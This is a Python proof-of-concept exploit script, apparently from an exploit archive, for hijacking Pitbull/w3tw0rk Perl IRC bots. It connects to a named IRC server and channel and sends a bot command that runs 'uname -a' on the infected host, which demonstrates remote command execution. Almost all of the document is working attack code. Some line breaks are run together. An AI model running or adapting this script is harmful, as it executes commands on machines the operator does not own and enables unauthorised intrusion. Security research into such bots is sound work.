# thehunter.py# Exploit Title: Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution# Author: Jay Turla ( @shipcod3 )# Description: pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot that takes over the owner of a bot which then allows Remote Code Execution.
import socket
import sys
def usage():
print("USAGE: python thehunter.py nick \n")
def main(argv):
if len(argv) < 2:
return usage()#irc server connection settings
botnick = sys.argv[1]#admin payload for taking over the w3wt0rk bot
server = "us.dal.net"#irc server
channel = "#buhaypirata"#channel where the bot is located
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#defines the socket
print "connecting to:"+server
irc.connect((server, 6667))#connects to the server
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :I eat w3tw0rk bots!\n")#user authentication
irc.send("NICK "+ botnick +"\n")#sets nick
irc.send("JOIN "+ channel +"\n")#join the chan
irc.send("PRIVMSG "+channel+" :!bot @system 'uname -a' \n")#send the payload to the botwhile 1:#puts it in a loop
text=irc.recv(2040)#receive the text
print text #print text to consoleif text.find('PING')!= -1:#check if 'PING' is found
irc.send('PONG '+ text.split()[1]+'\r\n')#returnes 'PONG' back to the server (prevents pinging out!)if text.find('!quit')!= -1: #quit the Bot
irc.send ("QUIT\r\n")
sys.exit()if text.find('Linux')!= -1:
irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")
irc.send ("QUIT\r\n")
sys.exit()if __name__ == "__main__":
main(sys.argv)
